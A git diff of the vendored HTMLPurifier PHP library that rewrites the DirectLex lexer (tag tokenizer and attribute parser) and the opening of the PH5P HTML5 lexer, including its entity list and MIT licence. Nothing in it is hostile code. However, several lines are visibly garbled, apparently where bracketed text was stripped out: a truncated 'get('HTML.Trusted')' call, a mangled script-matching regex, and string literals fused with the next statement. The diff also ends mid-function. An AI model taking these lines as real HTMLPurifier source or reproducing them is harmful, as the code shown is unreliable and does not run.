attribute - $num_equal = substr_count($string, '='); - $has_space = strpos($string, ' '); - if ($num_equal === 0 && !$has_space) { - // bool attribute - return array($string => $string); - } elseif ($num_equal === 1 && !$has_space) { - // only one attribute - list($key, $quoted_value) = explode('=', $string); - $quoted_value = trim($quoted_value); - if (!$key) { - if ($e) { - $e->send(E_ERROR, 'Lexer: Missing attribute key'); - } - return array(); - } - if (!$quoted_value) { - return array($key => ''); - } - $first_char = @$quoted_value[0]; - $last_char = @$quoted_value[strlen($quoted_value) - 1]; - - $same_quote = ($first_char == $last_char); - $open_quote = ($first_char == '"' || $first_char == "'"); - - if ($same_quote && $open_quote) { - // well behaved - $value = substr($quoted_value, 1, strlen($quoted_value) - 2); - } else { - // not well behaved - if ($open_quote) { - if ($e) { - $e->send(E_ERROR, 'Lexer: Missing end quote'); - } - $value = substr($quoted_value, 1); - } else { - $value = $quoted_value; - } - } - if ($value === false) { - $value = ''; - } - return array($key => $this->parseAttr($value, $config)); - } - - // setup loop environment - $array = array(); // return assoc array of attributes - $cursor = 0; // current position in string (moves forward) - $size = strlen($string); // size of the string (stays the same) - - // if we have unquoted attributes, the parser expects a terminating - // space, so let's guarantee that there's always a terminating space. - $string .= ' '; - - $old_cursor = -1; - while ($cursor < $size) { - if ($old_cursor >= $cursor) { - throw new Exception("Infinite loop detected"); - } - $old_cursor = $cursor; - - $cursor += ($value = strspn($string, $this->_whitespace, $cursor)); - // grab the key - - $key_begin = $cursor; //we're currently at the start of the key - - // scroll past all characters that are the key (not whitespace or =) - $cursor += strcspn($string, $this->_whitespace . '=', $cursor); - - $key_end = $cursor; // now at the end of the key - - $key = substr($string, $key_begin, $key_end - $key_begin); - - if (!$key) { - if ($e) { - $e->send(E_ERROR, 'Lexer: Missing attribute key'); - } - $cursor += 1 + strcspn($string, $this->_whitespace, $cursor + 1); // prevent infinite loop - continue; // empty key - } - - // scroll past all whitespace - $cursor += strspn($string, $this->_whitespace, $cursor); - - if ($cursor >= $size) { - $array[$key] = $key; - break; - } - - // if the next character is an equal sign, we've got a regular - // pair, otherwise, it's a bool attribute - $first_char = @$string[$cursor]; - - if ($first_char == '=') { - // key="value" - - $cursor++; - $cursor += strspn($string, $this->_whitespace, $cursor); - - if ($cursor === false) { - $array[$key] = ''; - break; - } - - // we might be in front of a quote right now - - $char = @$string[$cursor]; - - if ($char == '"' || $char == "'") { - // it's quoted, end bound is $char - $cursor++; - $value_begin = $cursor; - $cursor = strpos($string, $char, $cursor); - $value_end = $cursor; - } else { - // it's not quoted, end bound is whitespace - $value_begin = $cursor; - $cursor += strcspn($string, $this->_whitespace, $cursor); - $value_end = $cursor; - } - - // we reached a premature end - if ($cursor === false) { - $cursor = $size; - $value_end = $cursor; - } - - $value = substr($string, $value_begin, $value_end - $value_begin); - if ($value === false) { - $value = ''; - } - $array[$key] = $this->parseAttr($value, $config); - $cursor++; - } else { - // boolattr - if ($key !== '') { - $array[$key] = $key; - } else { - // purely theoretical - if ($e) { - $e->send(E_ERROR, 'Lexer: Missing attribute key'); - } - } - } - } - return $array; - } -} - -// vim: et sw=4 sts=4 +get('HTML.Trusted')) { + $html = preg_replace_callback( + '#(]*>)(\s*[^<].+?)()#si', + array($this, 'scriptCallback'), + $html + ); + } + + $html = $this->normalize($html, $config, $context); + + $cursor = 0; // our location in the text + $inside_tag = false; // whether or not we're parsing the inside of a tag + $array = array(); // result array + + // This is also treated to mean maintain *column* numbers too + $maintain_line_numbers = $config->get('Core.MaintainLineNumbers'); + + if ($maintain_line_numbers === null) { + // automatically determine line numbering by checking + // if error collection is on + $maintain_line_numbers = $config->get('Core.CollectErrors'); + } + + if ($maintain_line_numbers) { + $current_line = 1; + $current_col = 0; + $length = strlen($html); + } else { + $current_line = false; + $current_col = false; + $length = false; + } + $context->register('CurrentLine', $current_line); + $context->register('CurrentCol', $current_col); + $nl = "\n"; + // how often to manually recalculate. This will ALWAYS be right, + // but it's pretty wasteful. Set to 0 to turn off + $synchronize_interval = $config->get('Core.DirectLexLineNumberSyncInterval'); + + $e = false; + if ($config->get('Core.CollectErrors')) { + $e =& $context->get('ErrorCollector'); + } + + // for testing synchronization + $loops = 0; + + while (++$loops) { + // $cursor is either at the start of a token, or inside of + // a tag (i.e. there was a < immediately before it), as indicated + // by $inside_tag + + if ($maintain_line_numbers) { + // $rcursor, however, is always at the start of a token. + $rcursor = $cursor - (int)$inside_tag; + + // Column number is cheap, so we calculate it every round. + // We're interested at the *end* of the newline string, so + // we need to add strlen($nl) == 1 to $nl_pos before subtracting it + // from our "rcursor" position. + $nl_pos = strrpos($html, $nl, $rcursor - $length); + $current_col = $rcursor - (is_bool($nl_pos) ? 0 : $nl_pos + 1); + + // recalculate lines + if ($synchronize_interval && // synchronization is on + $cursor > 0 && // cursor is further than zero + $loops % $synchronize_interval === 0) { // time to synchronize! + $current_line = 1 + $this->substrCount($html, $nl, 0, $cursor); + } + } + + $position_next_lt = strpos($html, '<', $cursor); + $position_next_gt = strpos($html, '>', $cursor); + + // triggers on "asdf" but not "asdf " + // special case to set up context + if ($position_next_lt === $cursor) { + $inside_tag = true; + $cursor++; + } + + if (!$inside_tag && $position_next_lt !== false) { + // We are not inside tag and there still is another tag to parse + $token = new + HTMLPurifier_Token_Text( + $this->parseText( + substr( + $html, + $cursor, + $position_next_lt - $cursor + ), $config + ) + ); + if ($maintain_line_numbers) { + $token->rawPosition($current_line, $current_col); + $current_line += $this->substrCount($html, $nl, $cursor, $position_next_lt - $cursor); + } + $array[] = $token; + $cursor = $position_next_lt + 1; + $inside_tag = true; + continue; + } elseif (!$inside_tag) { + // We are not inside tag but there are no more tags + // If we're already at the end, break + if ($cursor === strlen($html)) { + break; + } + // Create Text of rest of string + $token = new + HTMLPurifier_Token_Text( + $this->parseText( + substr( + $html, + $cursor + ), $config + ) + ); + if ($maintain_line_numbers) { + $token->rawPosition($current_line, $current_col); + } + $array[] = $token; + break; + } elseif ($inside_tag && $position_next_gt !== false) { + // We are in tag and it is well formed + // Grab the internals of the tag + $strlen_segment = $position_next_gt - $cursor; + + if ($strlen_segment < 1) { + // there's nothing to process! + $token = new HTMLPurifier_Token_Text('<'); + $cursor++; + continue; + } + + $segment = substr($html, $cursor, $strlen_segment); + + if ($segment === false) { + // somehow, we attempted to access beyond the end of + // the string, defense-in-depth, reported by Nate Abele + break; + } + + // Check if it's a comment + if (substr($segment, 0, 3) === '!--') { + // re-determine segment length, looking for --> + $position_comment_end = strpos($html, '-->', $cursor); + if ($position_comment_end === false) { + // uh oh, we have a comment that extends to + // infinity. Can't be helped: set comment + // end position to end of string + if ($e) { + $e->send(E_WARNING, 'Lexer: Unclosed comment'); + } + $position_comment_end = strlen($html); + $end = true; + } else { + $end = false; + } + $strlen_segment = $position_comment_end - $cursor; + $segment = substr($html, $cursor, $strlen_segment); + $token = new + HTMLPurifier_Token_Comment( + substr( + $segment, + 3, + $strlen_segment - 3 + ) + ); + if ($maintain_line_numbers) { + $token->rawPosition($current_line, $current_col); + $current_line += $this->substrCount($html, $nl, $cursor, $strlen_segment); + } + $array[] = $token; + $cursor = $end ? $position_comment_end : $position_comment_end + 3; + $inside_tag = false; + continue; + } + + // Check if it's an end tag + $is_end_tag = (strpos($segment, '/') === 0); + if ($is_end_tag) { + $type = substr($segment, 1); + $token = new HTMLPurifier_Token_End($type); + if ($maintain_line_numbers) { + $token->rawPosition($current_line, $current_col); + $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); + } + $array[] = $token; + $inside_tag = false; + $cursor = $position_next_gt + 1; + continue; + } + + // Check leading character is alnum, if not, we may + // have accidently grabbed an emoticon. Translate into + // text and go our merry way + if (!ctype_alpha($segment[0])) { + // XML: $segment[0] !== '_' && $segment[0] !== ':' + if ($e) { + $e->send(E_NOTICE, 'Lexer: Unescaped lt'); + } + $token = new HTMLPurifier_Token_Text('<'); + if ($maintain_line_numbers) { + $token->rawPosition($current_line, $current_col); + $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); + } + $array[] = $token; + $inside_tag = false; + continue; + } + + // Check if it is explicitly self closing, if so, remove + // trailing slash. Remember, we could have a tag like
    , so + // any later token processing scripts must convert improperly + // classified EmptyTags from StartTags. + $is_self_closing = (strrpos($segment, '/') === $strlen_segment - 1); + if ($is_self_closing) { + $strlen_segment--; + $segment = substr($segment, 0, $strlen_segment); + } + + // Check if there are any attributes + $position_first_space = strcspn($segment, $this->_whitespace); + + if ($position_first_space >= $strlen_segment) { + if ($is_self_closing) { + $token = new HTMLPurifier_Token_Empty($segment); + } else { + $token = new HTMLPurifier_Token_Start($segment); + } + if ($maintain_line_numbers) { + $token->rawPosition($current_line, $current_col); + $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); + } + $array[] = $token; + $inside_tag = false; + $cursor = $position_next_gt + 1; + continue; + } + + // Grab out all the data + $type = substr($segment, 0, $position_first_space); + $attribute_string = + trim( + substr( + $segment, + $position_first_space + ) + ); + if ($attribute_string) { + $attr = $this->parseAttributeString( + $attribute_string, + $config, + $context + ); + } else { + $attr = array(); + } + + if ($is_self_closing) { + $token = new HTMLPurifier_Token_Empty($type, $attr); + } else { + $token = new HTMLPurifier_Token_Start($type, $attr); + } + if ($maintain_line_numbers) { + $token->rawPosition($current_line, $current_col); + $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); + } + $array[] = $token; + $cursor = $position_next_gt + 1; + $inside_tag = false; + continue; + } else { + // inside tag, but there's no ending > sign + if ($e) { + $e->send(E_WARNING, 'Lexer: Missing gt'); + } + $token = new + HTMLPurifier_Token_Text( + '<' . + $this->parseText( + substr($html, $cursor), $config + ) + ); + if ($maintain_line_numbers) { + $token->rawPosition($current_line, $current_col); + } + // no cursor scroll? Hmm... + $array[] = $token; + break; + } + break; + } + + $context->destroy('CurrentLine'); + $context->destroy('CurrentCol'); + return $array; + } + + /** + * PHP 5.0.x compatible substr_count that implements offset and length + * @param string $haystack + * @param string $needle + * @param int $offset + * @param int $length + * @return int + */ + protected function substrCount($haystack, $needle, $offset, $length) + { + static $oldVersion; + if ($oldVersion === null) { + $oldVersion = version_compare(PHP_VERSION, '5.1', '<'); + } + if ($oldVersion) { + $haystack = substr($haystack, $offset, $length); + return substr_count($haystack, $needle); + } else { + return substr_count($haystack, $needle, $offset, $length); + } + } + + /** + * Takes the inside of an HTML tag and makes an assoc array of attributes. + * + * @param string $string Inside of tag excluding name. + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array Assoc array of attributes. + */ + public function parseAttributeString($string, $config, $context) + { + $string = (string)$string; // quick typecast + + if ($string == '') { + return array(); + } // no attributes + + $e = false; + if ($config->get('Core.CollectErrors')) { + $e =& $context->get('ErrorCollector'); + } + + // let's see if we can abort as quickly as possible + // one equal sign, no spaces => one attribute + $num_equal = substr_count($string, '='); + $has_space = strpos($string, ' '); + if ($num_equal === 0 && !$has_space) { + // bool attribute + return array($string => $string); + } elseif ($num_equal === 1 && !$has_space) { + // only one attribute + list($key, $quoted_value) = explode('=', $string); + $quoted_value = trim($quoted_value); + if (!$key) { + if ($e) { + $e->send(E_ERROR, 'Lexer: Missing attribute key'); + } + return array(); + } + if (!$quoted_value) { + return array($key => ''); + } + $first_char = @$quoted_value[0]; + $last_char = @$quoted_value[strlen($quoted_value) - 1]; + + $same_quote = ($first_char == $last_char); + $open_quote = ($first_char == '"' || $first_char == "'"); + + if ($same_quote && $open_quote) { + // well behaved + $value = substr($quoted_value, 1, strlen($quoted_value) - 2); + } else { + // not well behaved + if ($open_quote) { + if ($e) { + $e->send(E_ERROR, 'Lexer: Missing end quote'); + } + $value = substr($quoted_value, 1); + } else { + $value = $quoted_value; + } + } + if ($value === false) { + $value = ''; + } + return array($key => $this->parseAttr($value, $config)); + } + + // setup loop environment + $array = array(); // return assoc array of attributes + $cursor = 0; // current position in string (moves forward) + $size = strlen($string); // size of the string (stays the same) + + // if we have unquoted attributes, the parser expects a terminating + // space, so let's guarantee that there's always a terminating space. + $string .= ' '; + + $old_cursor = -1; + while ($cursor < $size) { + if ($old_cursor >= $cursor) { + throw new Exception("Infinite loop detected"); + } + $old_cursor = $cursor; + + $cursor += ($value = strspn($string, $this->_whitespace, $cursor)); + // grab the key + + $key_begin = $cursor; //we're currently at the start of the key + + // scroll past all characters that are the key (not whitespace or =) + $cursor += strcspn($string, $this->_whitespace . '=', $cursor); + + $key_end = $cursor; // now at the end of the key + + $key = substr($string, $key_begin, $key_end - $key_begin); + + if (!$key) { + if ($e) { + $e->send(E_ERROR, 'Lexer: Missing attribute key'); + } + $cursor += 1 + strcspn($string, $this->_whitespace, $cursor + 1); // prevent infinite loop + continue; // empty key + } + + // scroll past all whitespace + $cursor += strspn($string, $this->_whitespace, $cursor); + + if ($cursor >= $size) { + $array[$key] = $key; + break; + } + + // if the next character is an equal sign, we've got a regular + // pair, otherwise, it's a bool attribute + $first_char = @$string[$cursor]; + + if ($first_char == '=') { + // key="value" + + $cursor++; + $cursor += strspn($string, $this->_whitespace, $cursor); + + if ($cursor === false) { + $array[$key] = ''; + break; + } + + // we might be in front of a quote right now + + $char = @$string[$cursor]; + + if ($char == '"' || $char == "'") { + // it's quoted, end bound is $char + $cursor++; + $value_begin = $cursor; + $cursor = strpos($string, $char, $cursor); + $value_end = $cursor; + } else { + // it's not quoted, end bound is whitespace + $value_begin = $cursor; + $cursor += strcspn($string, $this->_whitespace, $cursor); + $value_end = $cursor; + } + + // we reached a premature end + if ($cursor === false) { + $cursor = $size; + $value_end = $cursor; + } + + $value = substr($string, $value_begin, $value_end - $value_begin); + if ($value === false) { + $value = ''; + } + $array[$key] = $this->parseAttr($value, $config); + $cursor++; + } else { + // boolattr + if ($key !== '') { + $array[$key] = $key; + } else { + // purely theoretical + if ($e) { + $e->send(E_ERROR, 'Lexer: Missing attribute key'); + } + } + } + } + return $array; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/PH5P.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/PH5P.php index 6b281a5428..72476ddf32 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/PH5P.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/PH5P.php @@ -1,4788 +1,4788 @@ -normalize($html, $config, $context); - $new_html = $this->wrapHTML($new_html, $config, $context, false /* no div */); - try { - $parser = new HTML5($new_html); - $doc = $parser->save(); - } catch (DOMException $e) { - // Uh oh, it failed. Punt to DirectLex. - $lexer = new HTMLPurifier_Lexer_DirectLex(); - $context->register('PH5PError', $e); // save the error, so we can detect it - return $lexer->tokenizeHTML($html, $config, $context); // use original HTML - } - $tokens = array(); - $this->tokenizeDOM( - $doc->getElementsByTagName('html')->item(0)-> // - getElementsByTagName('body')->item(0) // - , - $tokens, $config - ); - return $tokens; - } -} - -/* - -Copyright 2007 Jeroen van der Meer - -Permission is hereby granted, free of charge, to any person obtaining a -copy of this software and associated documentation files (the -"Software"), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be included -in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS -OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, -TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE -SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - -*/ - -class HTML5 -{ - private $data; - private $char; - private $EOF; - private $state; - private $tree; - private $token; - private $content_model; - private $escape = false; - private $entities = array( - 'AElig;', - 'AElig', - 'AMP;', - 'AMP', - 'Aacute;', - 'Aacute', - 'Acirc;', - 'Acirc', - 'Agrave;', - 'Agrave', - 'Alpha;', - 'Aring;', - 'Aring', - 'Atilde;', - 'Atilde', - 'Auml;', - 'Auml', - 'Beta;', - 'COPY;', - 'COPY', - 'Ccedil;', - 'Ccedil', - 'Chi;', - 'Dagger;', - 'Delta;', - 'ETH;', - 'ETH', - 'Eacute;', - 'Eacute', - 'Ecirc;', - 'Ecirc', - 'Egrave;', - 'Egrave', - 'Epsilon;', - 'Eta;', - 'Euml;', - 'Euml', - 'GT;', - 'GT', - 'Gamma;', - 'Iacute;', - 'Iacute', - 'Icirc;', - 'Icirc', - 'Igrave;', - 'Igrave', - 'Iota;', - 'Iuml;', - 'Iuml', - 'Kappa;', - 'LT;', - 'LT', - 'Lambda;', - 'Mu;', - 'Ntilde;', - 'Ntilde', - 'Nu;', - 'OElig;', - 'Oacute;', - 'Oacute', - 'Ocirc;', - 'Ocirc', - 'Ograve;', - 'Ograve', - 'Omega;', - 'Omicron;', - 'Oslash;', - 'Oslash', - 'Otilde;', - 'Otilde', - 'Ouml;', - 'Ouml', - 'Phi;', - 'Pi;', - 'Prime;', - 'Psi;', - 'QUOT;', - 'QUOT', - 'REG;', - 'REG', - 'Rho;', - 'Scaron;', - 'Sigma;', - 'THORN;', - 'THORN', - 'TRADE;', - 'Tau;', - 'Theta;', - 'Uacute;', - 'Uacute', - 'Ucirc;', - 'Ucirc', - 'Ugrave;', - 'Ugrave', - 'Upsilon;', - 'Uuml;', - 'Uuml', - 'Xi;', - 'Yacute;', - 'Yacute', - 'Yuml;', - 'Zeta;', - 'aacute;', - 'aacute', - 'acirc;', - 'acirc', - 'acute;', - 'acute', - 'aelig;', - 'aelig', - 'agrave;', - 'agrave', - 'alefsym;', - 'alpha;', - 'amp;', - 'amp', - 'and;', - 'ang;', - 'apos;', - 'aring;', - 'aring', - 'asymp;', - 'atilde;', - 'atilde', - 'auml;', - 'auml', - 'bdquo;', - 'beta;', - 'brvbar;', - 'brvbar', - 'bull;', - 'cap;', - 'ccedil;', - 'ccedil', - 'cedil;', - 'cedil', - 'cent;', - 'cent', - 'chi;', - 'circ;', - 'clubs;', - 'cong;', - 'copy;', - 'copy', - 'crarr;', - 'cup;', - 'curren;', - 'curren', - 'dArr;', - 'dagger;', - 'darr;', - 'deg;', - 'deg', - 'delta;', - 'diams;', - 'divide;', - 'divide', - 'eacute;', - 'eacute', - 'ecirc;', - 'ecirc', - 'egrave;', - 'egrave', - 'empty;', - 'emsp;', - 'ensp;', - 'epsilon;', - 'equiv;', - 'eta;', - 'eth;', - 'eth', - 'euml;', - 'euml', - 'euro;', - 'exist;', - 'fnof;', - 'forall;', - 'frac12;', - 'frac12', - 'frac14;', - 'frac14', - 'frac34;', - 'frac34', - 'frasl;', - 'gamma;', - 'ge;', - 'gt;', - 'gt', - 'hArr;', - 'harr;', - 'hearts;', - 'hellip;', - 'iacute;', - 'iacute', - 'icirc;', - 'icirc', - 'iexcl;', - 'iexcl', - 'igrave;', - 'igrave', - 'image;', - 'infin;', - 'int;', - 'iota;', - 'iquest;', - 'iquest', - 'isin;', - 'iuml;', - 'iuml', - 'kappa;', - 'lArr;', - 'lambda;', - 'lang;', - 'laquo;', - 'laquo', - 'larr;', - 'lceil;', - 'ldquo;', - 'le;', - 'lfloor;', - 'lowast;', - 'loz;', - 'lrm;', - 'lsaquo;', - 'lsquo;', - 'lt;', - 'lt', - 'macr;', - 'macr', - 'mdash;', - 'micro;', - 'micro', - 'middot;', - 'middot', - 'minus;', - 'mu;', - 'nabla;', - 'nbsp;', - 'nbsp', - 'ndash;', - 'ne;', - 'ni;', - 'not;', - 'not', - 'notin;', - 'nsub;', - 'ntilde;', - 'ntilde', - 'nu;', - 'oacute;', - 'oacute', - 'ocirc;', - 'ocirc', - 'oelig;', - 'ograve;', - 'ograve', - 'oline;', - 'omega;', - 'omicron;', - 'oplus;', - 'or;', - 'ordf;', - 'ordf', - 'ordm;', - 'ordm', - 'oslash;', - 'oslash', - 'otilde;', - 'otilde', - 'otimes;', - 'ouml;', - 'ouml', - 'para;', - 'para', - 'part;', - 'permil;', - 'perp;', - 'phi;', - 'pi;', - 'piv;', - 'plusmn;', - 'plusmn', - 'pound;', - 'pound', - 'prime;', - 'prod;', - 'prop;', - 'psi;', - 'quot;', - 'quot', - 'rArr;', - 'radic;', - 'rang;', - 'raquo;', - 'raquo', - 'rarr;', - 'rceil;', - 'rdquo;', - 'real;', - 'reg;', - 'reg', - 'rfloor;', - 'rho;', - 'rlm;', - 'rsaquo;', - 'rsquo;', - 'sbquo;', - 'scaron;', - 'sdot;', - 'sect;', - 'sect', - 'shy;', - 'shy', - 'sigma;', - 'sigmaf;', - 'sim;', - 'spades;', - 'sub;', - 'sube;', - 'sum;', - 'sup1;', - 'sup1', - 'sup2;', - 'sup2', - 'sup3;', - 'sup3', - 'sup;', - 'supe;', - 'szlig;', - 'szlig', - 'tau;', - 'there4;', - 'theta;', - 'thetasym;', - 'thinsp;', - 'thorn;', - 'thorn', - 'tilde;', - 'times;', - 'times', - 'trade;', - 'uArr;', - 'uacute;', - 'uacute', - 'uarr;', - 'ucirc;', - 'ucirc', - 'ugrave;', - 'ugrave', - 'uml;', - 'uml', - 'upsih;', - 'upsilon;', - 'uuml;', - 'uuml', - 'weierp;', - 'xi;', - 'yacute;', - 'yacute', - 'yen;', - 'yen', - 'yuml;', - 'yuml', - 'zeta;', - 'zwj;', - 'zwnj;' - ); - - const PCDATA = 0; - const RCDATA = 1; - const CDATA = 2; - const PLAINTEXT = 3; - - const DOCTYPE = 0; - const STARTTAG = 1; - const ENDTAG = 2; - const COMMENT = 3; - const CHARACTR = 4; - const EOF = 5; - - public function __construct($data) - { - $this->data = $data; - $this->char = -1; - $this->EOF = strlen($data); - $this->tree = new HTML5TreeConstructer; - $this->content_model = self::PCDATA; - - $this->state = 'data'; - - while ($this->state !== null) { - $this->{$this->state . 'State'}(); - } - } - - public function save() - { - return $this->tree->save(); - } - - private function char() - { - return ($this->char < $this->EOF) - ? $this->data[$this->char] - : false; - } - - private function character($s, $l = 0) - { - if ($s + $l < $this->EOF) { - if ($l === 0) { - return $this->data[$s]; - } else { - return substr($this->data, $s, $l); - } - } - } - - private function characters($char_class, $start) - { - return preg_replace('#^([' . $char_class . ']+).*#s', '\\1', substr($this->data, $start)); - } - - private function dataState() - { - // Consume the next input character - $this->char++; - $char = $this->char(); - - if ($char === '&' && ($this->content_model === self::PCDATA || $this->content_model === self::RCDATA)) { - /* U+0026 AMPERSAND (&) - When the content model flag is set to one of the PCDATA or RCDATA - states: switch to the entity data state. Otherwise: treat it as per - the "anything else" entry below. */ - $this->state = 'entityData'; - - } elseif ($char === '-') { - /* If the content model flag is set to either the RCDATA state or - the CDATA state, and the escape flag is false, and there are at - least three characters before this one in the input stream, and the - last four characters in the input stream, including this one, are - U+003C LESS-THAN SIGN, U+0021 EXCLAMATION MARK, U+002D HYPHEN-MINUS, - and U+002D HYPHEN-MINUS (""), - set the escape flag to false. */ - if (($this->content_model === self::RCDATA || - $this->content_model === self::CDATA) && $this->escape === true && - $this->character($this->char, 3) === '-->' - ) { - $this->escape = false; - } - - /* In any case, emit the input character as a character token. - Stay in the data state. */ - $this->emitToken( - array( - 'type' => self::CHARACTR, - 'data' => $char - ) - ); - - } elseif ($this->char === $this->EOF) { - /* EOF - Emit an end-of-file token. */ - $this->EOF(); - - } elseif ($this->content_model === self::PLAINTEXT) { - /* When the content model flag is set to the PLAINTEXT state - THIS DIFFERS GREATLY FROM THE SPEC: Get the remaining characters of - the text and emit it as a character token. */ - $this->emitToken( - array( - 'type' => self::CHARACTR, - 'data' => substr($this->data, $this->char) - ) - ); - - $this->EOF(); - - } else { - /* Anything else - THIS DIFFERS GREATLY FROM THE SPEC: Get as many character that - otherwise would also be treated as a character token and emit it - as a single character token. Stay in the data state. */ - $len = strcspn($this->data, '<&', $this->char); - $char = substr($this->data, $this->char, $len); - $this->char += $len - 1; - - $this->emitToken( - array( - 'type' => self::CHARACTR, - 'data' => $char - ) - ); - - $this->state = 'data'; - } - } - - private function entityDataState() - { - // Attempt to consume an entity. - $entity = $this->entity(); - - // If nothing is returned, emit a U+0026 AMPERSAND character token. - // Otherwise, emit the character token that was returned. - $char = (!$entity) ? '&' : $entity; - $this->emitToken( - array( - 'type' => self::CHARACTR, - 'data' => $char - ) - ); - - // Finally, switch to the data state. - $this->state = 'data'; - } - - private function tagOpenState() - { - switch ($this->content_model) { - case self::RCDATA: - case self::CDATA: - /* If the next input character is a U+002F SOLIDUS (/) character, - consume it and switch to the close tag open state. If the next - input character is not a U+002F SOLIDUS (/) character, emit a - U+003C LESS-THAN SIGN character token and switch to the data - state to process the next input character. */ - if ($this->character($this->char + 1) === '/') { - $this->char++; - $this->state = 'closeTagOpen'; - - } else { - $this->emitToken( - array( - 'type' => self::CHARACTR, - 'data' => '<' - ) - ); - - $this->state = 'data'; - } - break; - - case self::PCDATA: - // If the content model flag is set to the PCDATA state - // Consume the next input character: - $this->char++; - $char = $this->char(); - - if ($char === '!') { - /* U+0021 EXCLAMATION MARK (!) - Switch to the markup declaration open state. */ - $this->state = 'markupDeclarationOpen'; - - } elseif ($char === '/') { - /* U+002F SOLIDUS (/) - Switch to the close tag open state. */ - $this->state = 'closeTagOpen'; - - } elseif (preg_match('/^[A-Za-z]$/', $char)) { - /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z - Create a new start tag token, set its tag name to the lowercase - version of the input character (add 0x0020 to the character's code - point), then switch to the tag name state. (Don't emit the token - yet; further details will be filled in before it is emitted.) */ - $this->token = array( - 'name' => strtolower($char), - 'type' => self::STARTTAG, - 'attr' => array() - ); - - $this->state = 'tagName'; - - } elseif ($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Parse error. Emit a U+003C LESS-THAN SIGN character token and a - U+003E GREATER-THAN SIGN character token. Switch to the data state. */ - $this->emitToken( - array( - 'type' => self::CHARACTR, - 'data' => '<>' - ) - ); - - $this->state = 'data'; - - } elseif ($char === '?') { - /* U+003F QUESTION MARK (?) - Parse error. Switch to the bogus comment state. */ - $this->state = 'bogusComment'; - - } else { - /* Anything else - Parse error. Emit a U+003C LESS-THAN SIGN character token and - reconsume the current input character in the data state. */ - $this->emitToken( - array( - 'type' => self::CHARACTR, - 'data' => '<' - ) - ); - - $this->char--; - $this->state = 'data'; - } - break; - } - } - - private function closeTagOpenState() - { - $next_node = strtolower($this->characters('A-Za-z', $this->char + 1)); - $the_same = count($this->tree->stack) > 0 && $next_node === end($this->tree->stack)->nodeName; - - if (($this->content_model === self::RCDATA || $this->content_model === self::CDATA) && - (!$the_same || ($the_same && (!preg_match( - '/[\t\n\x0b\x0c >\/]/', - $this->character($this->char + 1 + strlen($next_node)) - ) || $this->EOF === $this->char))) - ) { - /* If the content model flag is set to the RCDATA or CDATA states then - examine the next few characters. If they do not match the tag name of - the last start tag token emitted (case insensitively), or if they do but - they are not immediately followed by one of the following characters: - * U+0009 CHARACTER TABULATION - * U+000A LINE FEED (LF) - * U+000B LINE TABULATION - * U+000C FORM FEED (FF) - * U+0020 SPACE - * U+003E GREATER-THAN SIGN (>) - * U+002F SOLIDUS (/) - * EOF - ...then there is a parse error. Emit a U+003C LESS-THAN SIGN character - token, a U+002F SOLIDUS character token, and switch to the data state - to process the next input character. */ - $this->emitToken( - array( - 'type' => self::CHARACTR, - 'data' => 'state = 'data'; - - } else { - /* Otherwise, if the content model flag is set to the PCDATA state, - or if the next few characters do match that tag name, consume the - next input character: */ - $this->char++; - $char = $this->char(); - - if (preg_match('/^[A-Za-z]$/', $char)) { - /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z - Create a new end tag token, set its tag name to the lowercase version - of the input character (add 0x0020 to the character's code point), then - switch to the tag name state. (Don't emit the token yet; further details - will be filled in before it is emitted.) */ - $this->token = array( - 'name' => strtolower($char), - 'type' => self::ENDTAG - ); - - $this->state = 'tagName'; - - } elseif ($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Parse error. Switch to the data state. */ - $this->state = 'data'; - - } elseif ($this->char === $this->EOF) { - /* EOF - Parse error. Emit a U+003C LESS-THAN SIGN character token and a U+002F - SOLIDUS character token. Reconsume the EOF character in the data state. */ - $this->emitToken( - array( - 'type' => self::CHARACTR, - 'data' => 'char--; - $this->state = 'data'; - - } else { - /* Parse error. Switch to the bogus comment state. */ - $this->state = 'bogusComment'; - } - } - } - - private function tagNameState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif ($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif ($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } elseif ($char === '/') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } else { - /* Anything else - Append the current input character to the current tag token's tag name. - Stay in the tag name state. */ - $this->token['name'] .= strtolower($char); - $this->state = 'tagName'; - } - } - - private function beforeAttributeNameState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if 